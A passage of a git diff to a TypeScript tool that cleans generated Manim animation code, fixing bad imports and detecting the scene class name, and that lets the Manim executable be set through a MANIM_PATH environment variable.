/from\s+manim\.[a-zA-Z_]+\s+import\s+([a-zA-Z_, ]+)/g + const newCleaned = cleaned.replace(badImportPattern, 'from manim import $1') + if (newCleaned !== cleaned) { + cleaned = newCleaned + fixed = true + } + + // Fix: from manim import scene -> (remove, covered by wildcard) + if (/from\s+manim\s+import\s+scene\b/.test(cleaned)) { + cleaned = cleaned.replace(/from\s+manim\s+import\s+scene\b[^\n]*/g, '# scene import removed (use from manim import *)') + fixed = true + } + + return { code: cleaned, fixed } +} + +/** + * Detect which scene class name is defined in the code. + * Looks for classes that inherit from Scene, ThreeDScene, MovingCameraScene, or ZoomedScene. + * Returns the FIRST top-level class found (not nested classes). + */ +function detectSceneClassName(code: string): string | null { + // Match class definitions that inherit from Scene types + // Must be at the start of a line (not indented) to be a top-level class + const sceneClassPattern = /^class\s+(\w+)\s*\(\s*(?:Scene|ThreeDScene|MovingCameraScene|ZoomedScene)\s*\)/gm + const match = sceneClassPattern.exec(code) + if (match) { + return match[1] + } + + // Fallback: look for any class with a construct method (likely a Manim scene) + const classWithConstructPattern = /^class\s+(\w+)\s*\([^)]*\)\s*:\s*\n(?:\s+[^\n]+\n)*?\s+def\s+construct\s*\(\s*self\s*\)/gm + const constructMatch = classWithConstructPattern.exec(code) + if (constructMatch) { + return constructMatch[1] + } + + // Last resort: any top-level class that inherits from something containing "Scene" + const anyScenePattern = /^class\s+(\w+)\s*\(\s*\w*Scene\w*\s*\)/gm + const anyMatch = anyScenePattern.exec(code) + return anyMatch ? anyMatch[1] : null +} + export function cleanManimCode(code: string): CleanupResult { let cleaned = code const changes: string[] = [] @@ -23,6 +74,12 @@ export function cleanManimCode(code: string): CleanupResult { changes.push('remove-replacement-char') } + const importFixResult = fixBadImports(cleaned) + if (importFixResult.fixed) { + cleaned = importFixResult.code + changes.push('fix-bad-imports') + } + const fullwidthResult = replaceFullwidthOutsideStrings(cleaned) if (fullwidthResult.replaced > 0) { cleaned = fullwidthResult.code @@ -39,3 +96,11 @@ export function cleanManimCode(code: string): CleanupResult { return { code: cleaned, changes } } + +/** + * Get the scene class name from the code (for manim render command) + */ +export function getSceneClassName(code: string): string { + const detectedClass = detectSceneClassName(code) + return detectedClass || 'MainScene' +} diff --git a/src/utils/manim-executor.ts b/src/utils/manim-executor.ts index 52e65d4..b519260 100644 --- a/src/utils/manim-executor.ts +++ b/src/utils/manim-executor.ts @@ -44,15 +44,20 @@ export function executeManimCommand( const normalizedOptions = normalizeExecuteOptions(options) const args = buildManimArgs(codeFile, normalizedOptions) + // Use custom MANIM_PATH if provided, otherwise use 'manim' from PATH + // If MANIM_PATH is 'py' or 'python', prepend '-m manim' to args + const manimCommand = process.env.MANIM_PATH || 'manim' + const finalArgs = ['py', 'python'].includes(manimCommand) ? ['-m', 'manim', ...args] : args + logger.info(`Job ${normalizedOptions.jobId}: starting manim process`, { - command: `manim ${args.join(' ')}`, + command: `${manimCommand} ${finalArgs.join(' ')}`, cwd: normalizedOptions.tempDir }) return new Promise((resolve) => { const startTime = Date.now() const state = createExecutionState() - const proc = spawn('manim', args, { cwd: normalizedOptions.tempDir }) + const proc = spawn(manimCommand, finalArgs, { cwd: normalizedOptions.tempDir }) registerManimProcess(normalizedOptions.jobId, proc) @@ -151,4 +156,4 @@ export function executeManimCommand( settle(buildResult(false, state, error.message)) }) }) -} +}